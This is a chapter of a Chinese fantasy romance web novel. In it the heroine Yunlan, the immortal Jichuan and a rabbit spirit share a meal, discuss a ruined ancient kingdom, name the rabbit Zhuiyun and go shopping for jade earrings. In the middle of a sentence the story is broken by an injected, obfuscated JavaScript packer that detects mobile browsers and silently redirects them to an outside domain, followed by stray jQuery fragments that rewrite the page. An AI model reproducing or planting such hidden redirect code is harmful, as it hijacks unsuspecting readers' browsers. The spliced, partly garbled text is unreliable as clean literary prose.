7. 第 7 章

    次日下午,云岚从集市购回食材,亲自下厨。


    兔子在一旁打下手,待第三道菜出锅她再次发问:“姐姐,你真的没记错步骤吗?”


    云岚尝了一口盘中的青椒炒肉,肉质柴且油腻不入味,她凝眉瘪嘴愣是想不明白,“不应该啊…就一道简单的青椒炒肉能有什么复杂的?”


    旁边稀淡一片的粥里还飘着烂成一团的虫草和海参,蒜香排骨被炒成了糊香排骨。


    一不做二不休,云岚决定去酒馆打包新鲜的饭菜回来。


    在此之前,云岚端起两叠菜,准备将失败的饭菜拿去喂野外生物,不曾想,刚踏出门就与忙完公务回来的霁川撞了个正着。


    霁川脱口而出就是一句:“将军好雅兴。”


    见他如此捧场,云岚也不知该如何为自己辩解。说出真相?那也太尴尬了吧;将错就错?这么难吃,那更完蛋了。


    “也不是。”云岚灵机一动,“兔子嚷着想尝试做菜,第一次嘛也没什么天赋,味道不怎么样也在所难免,为避免浪费,我正准备拿去喂野外动物呢。”


    兔子手中端着最后那盘青椒炒肉走到云岚身旁,脸上扯出一抹职业假笑,“是啊,本来还想请仙君一同享用的,可惜没这个机会了。”


    云岚见有机会,便顺着兔子的话说道:“我们正准备去堕春谷内的酒楼一趟,不知霁川仙君能否赏脸啊。”


    霁川:“自是有的。”


    堕春谷繁街上,三人面面相觑着,只得随便找了一家酒楼,待菜上齐,云岚与兔子调侃着菜名花里胡哨,菜的样式却是中规中矩。


    桌上菜品下了大半,云岚话锋一转,“明日之后我有事需出趟远门,归期不知,将兔子留在院中住着不妨事吧?”


    兔子抢先表态,“啊,我觉得妨事。”


    任兔子的眼睛怎么扑闪着,云岚都不为所动,“不行,我要去的地方太过危险,诡秘古国千年来无人安然踏足,怕不怕?”


    兔子面上故作惊讶地配合着,“哇,不害怕。”


    ‘这家伙刚化形不久遇到的两次性命之危都是为我所救,故而在我身边有安全感,她是不怕了,但把性命安危担在我身上,谁又来管管我身上的压力呢。’云岚在心底叹过,可不是所有真话都适合宣之于口。


    霁川问道:“可是要去朝天国遗址?”


    云岚单手撑起脑袋,望向霁川,“是啊,这在你的监管范围之内吗?”


    “一般来说,不在。”一般人因好奇心执意进去送死,自然不在霁川的责任范畴之内。


    霁川不知从袖中拿出玉折扇,悠悠摇着颇具文人气,


    “朝天国虽已覆灭三千余年,但如今人界的官话与之息息相关;只因当时出了位——‘伶语人’,人界诨称‘聆语仙’,‘天语’由他创造,由那朝天国国王向外传播,本犯不着引来九重天的注目,毕竟再怎么行骗那也是人界自己的事...”说到此,霁川摇扇停顿;


    引得云岚捧哏,“嚯,那这个国王最后是如何伤天害理,引来天罚?”


    学会天语意味着什么?意味着请愿可以更直白的传达至上天啊!不然谁知道请愿会以什么诡异的方式实现。


    “传播‘天语’,一来加强本国文化传播,引来各国信徒纷纷来此朝拜学习,二来,借这复杂的愿力,掩盖他们与魔族勾结的事迹。


    最后有人以身破局,才引来了九重天的注目,至于天罚,


    有人抢在仙庭之前将此事了结,被推出来担任罪责的都是上任魔君的心腹,仙庭因此没再追究。”


    云岚道:“是谁前去了解的?没有再查下去吗?”


    霁川道:“查了,那人还没找到便死了,线索断在了冥界。”


    云岚道:“冥界?他们也参与了当年之事?”


    霁川道:“在那之前,魔界与冥界往来密切。


    如今的魔君九方淮沧和冥主吾冥,是在朝天国国灭不久后横空出世的,九方淮沧飞升位至魔神,吾明动用秘法强登冥神境界,两人先后凭借武力发动政变,夺得魁首,将魔界与冥界上下洗了一遍。


    而后,冥界与魔界逐渐远离。”


    云岚疑惑道:“至今已过四千年,竟无人去探寻真相吗?”


    “这个故事应是在等待真正需要了解之人吧。”霁川玩笑道:


    “那伶语人不过是个半步仙,他法力生成的瘴林定然拦不住昔日的绮灵将军,若将军此行能填补史书的空白,报与天庭也可记作功劳一件。”


    问题在于,云岚不是昔日的绮灵将军啊!她士别三日之后已然退化成了一位弱鸡,总归是需要一个人来分担责任的。


    “万重山一带皆在仙君的管辖范围之内,论起来,仙君更需要这笔功绩吧,不如届时添上你的名字?权当我付房费了。”云岚道。


    霁川慢条斯理道:“将军的亲人长眠院内,我没收房费的理。功劳是将军独自闯出来的,亦没安心分羹的理。”


    云岚拍案扬声道,“这简单,将手中事务暂时交与同僚,你同我走一遭不就成了,这谜底总需要人去揭开的,以你我二人的名字同书功绩,说不定还能升任要职呢。”


    霎时,四目相对,云岚隐约觉得,霁川眼中的平江秋水之下有暗流涌动,半晌,霁川才开口道:“司命说我尘缘未了,故而难当要职。”


    云岚隔着腾腾热气,佯装不经意问道:“那你无法担任要职,就没想过要了去这段尘缘往事吗?”


    “这又是何种说法?”


    “你不入世,如何找到自己的尘缘进行了断呢?”云岚循循善诱着。


    “…”


    见对方就此沉默,云岚将此与生前上班经历共情,情至深处忍不住脱口而出:“莫非神仙也会压榨下属?叫你心道无可破,一直在此间当保安?”


    这是她第一次在霁川脸上看到,如此具有人性的表情,被气笑了。


    霁川笑问:“敢问保安是何意?”


    心虚使得她说话声音小了些:“就是,看守某地的侍卫…”


    简称保安哥。


    “…”


    好像真没什么问题。


    霁川双目微阖,再次睁眼时面色恢复如常,“此事锦鸾上神常念叨催促,只是大千世界,缘分二字何其微渺。”


    云岚将口中馄炖咽下,佯装随意道:“不如你同我一起上路吧,也许会就此修得心道呢?”


    霁川侧过头去,语调闲散:“倘若我的尘缘与姑娘相关呢?”


    云岚埋头确认原主生前确实不认识霁川后,继续忽悠:“哈?那好办,包你快速得道圆满,怎么样很不错吧?你考虑考虑呗。”


    “好。”霁川道。


    见对方答应的如此干脆,云岚喜滋滋地擦着嘴起身,准备出去结账,却被霁川不着痕迹地拉回他身旁的椅子上。


    “我来吧。”


    霁川起身,这次却换云岚拉住了他的衣袖,“待会我准备带兔子去集市逛逛,可要一起?”


    “我不去。”兔子当然不想被夹在中间。


    “你难道忍心扔下我一人去买衣服吗?我可怜我的衣服在救某人的时候破了,唉。”云岚偷偷侧过头去,对着兔子眨了一下眼睛。


    兔子会意,嘟囔道:“那姐姐就忍心扔下我独自一人守家,再说了,不是还有霁川仙君陪你嘛。”


    云岚道:“那是为你的安危着想,再说了,人家还没表态呢。”


    兔子仔细回想了一下,霁川拒绝过吗?没有。


    “她想来是疲乏了,我陪你去不妨事。”霁川接过话。


    兔子一脸‘果然如此’地哼着,“好吧,接下来该我宣布一件大事了。”


    “什么新鲜事?”云岚挑眉望向兔子。


    兔子用手帕将嘴角细


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918591|160326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    细擦拭过后,双手环胸目光流盼,郑重道:“我,想好自己的名字啦!”


    “吾名追云,大家日后请多指教。”


    云岚逗她:“呀,追的是哪个云啊?”


    追云瞪了一眼云岚,而后撅着嘴把视线别开,“姐姐见多识广,知书达理,依姐姐看,这名字能解作何意呢?”


    云岚啧舌,“应可解作,我要努力练功。”


    追云负气别过头去,用筷子猛戳桌面嘟囔着,“我知道啦!”


    “追云逐月,确实是好名字。”霁川见缝插针轻声提议,“如果追云愿意的话,我可以托几位朋友巡山时带着你,全当是历练。”


    闻言,云岚猛然一拍大腿,“是了,她这个阶段正应该去上学啊!”


    /


    老板手中的算盘打得噼啪作响,“一架古琴,十本书册,画纸二十卷卷,画笔颜料共五盒,共五十两。”


    云岚付过账,霁川接过东西,道:“这些都是买给追云的?”


    “当然,不完全是,这些东西我也会用。”云岚走向下一家首饰店店铺,“人总的有挥洒精力的地方,小孩子无非就读书学习、找个玩伴,凡界没有适合灵族的书舍,没办法,她再不培养个兴趣爱好,就只能每天缠着我陪她玩了。


    霁川道:“嘴上这么说,但不也给她买了很多衣服吗。”


    “哦,还好吧,我以前也经常心情好就会想给别人花点小钱,全凭心情。”云岚拿起一枝细长的白绿玉竹节,抬眼看向霁川。


    目光汇集的瞬间,霁川愣住,“怎么了?”


    云岚满眼期待,“你要不试试?感觉你戴上应会好看。”


    霁川迟疑道:“这是戴在何处?”


    “你戴不上,不过我也就想看看。”云岚小跳靠近霁川身侧,踮起脚尖,笑道:“可能俯下些身来?”


    霁川的动作迟缓而又僵硬,稍稍弯下些身来,云岚便主动拉着他的衣袖,将他的身形调整至合适的角度,“别动。”


    心弦悄然震动不已,霁川不知其中滋味,只能任由云岚摆布,当玉竹贴到耳畔之时,感受到的并非它想象中的冰冷,而是一缕温热,一缕来自云岚指尖的温热。


    云岚看着他耳畔的绯红,俏声道:“告诉你个秘密。”


    霁川缓缓直起身来,微微侧过头去移开目光,“什么秘密?”


    “你耳红的时候更好看呢。”云岚轻笑一声,慢慢走远,独留霁川一人愣在原地。


    “老板,把这对玉竹耳饰包起来。”


    云岚绕了一圈回来,霁川还站在原地,“想什么呢?不高兴了?”


    耳环大多是女孩家佩戴,许是自己行为对他而言有些逾矩,他不高兴也正常。


    “不是。”


    “你放心吧,你不想要我又哪有强行送你的意思。”


    霁川看了她一眼便移开目光,“也不是这个意思。”


    “嗯?”云岚有些意外:“你心底喜欢这些物件也不必羞涩,这没什么,自己喜欢就好,不如趁此机会试试?我还看到几对适合你的,一起包了?”


    “不是…”


    云岚实在猜不透他的心思:“不是什么?到底要不要包起来?”


    霁川一时也说不明白,抗拒耳饰吗?好像没有。


    “老板,把这些都包起来吧。”


    霁川回眸望向那道背影,心弦落定,他终于明白,为自己所抗拒的原是时间。


    /


    次日清晨,云岚推门入院,见霁川立于海棠影下望穿院内春,一袭流光锦天缥色长褙,轻笼内里月白色长衫,与院中方寸天地浑然一体。


    她信步走向霁川,“早上好霁川仙君,可是在等我?”


    霁川回眸淡然,“闲听子规问海棠罢了。”


    云岚看着他耳畔的白玉竹,便一副了然于心,“嗯嗯,那顺便等到我咯。”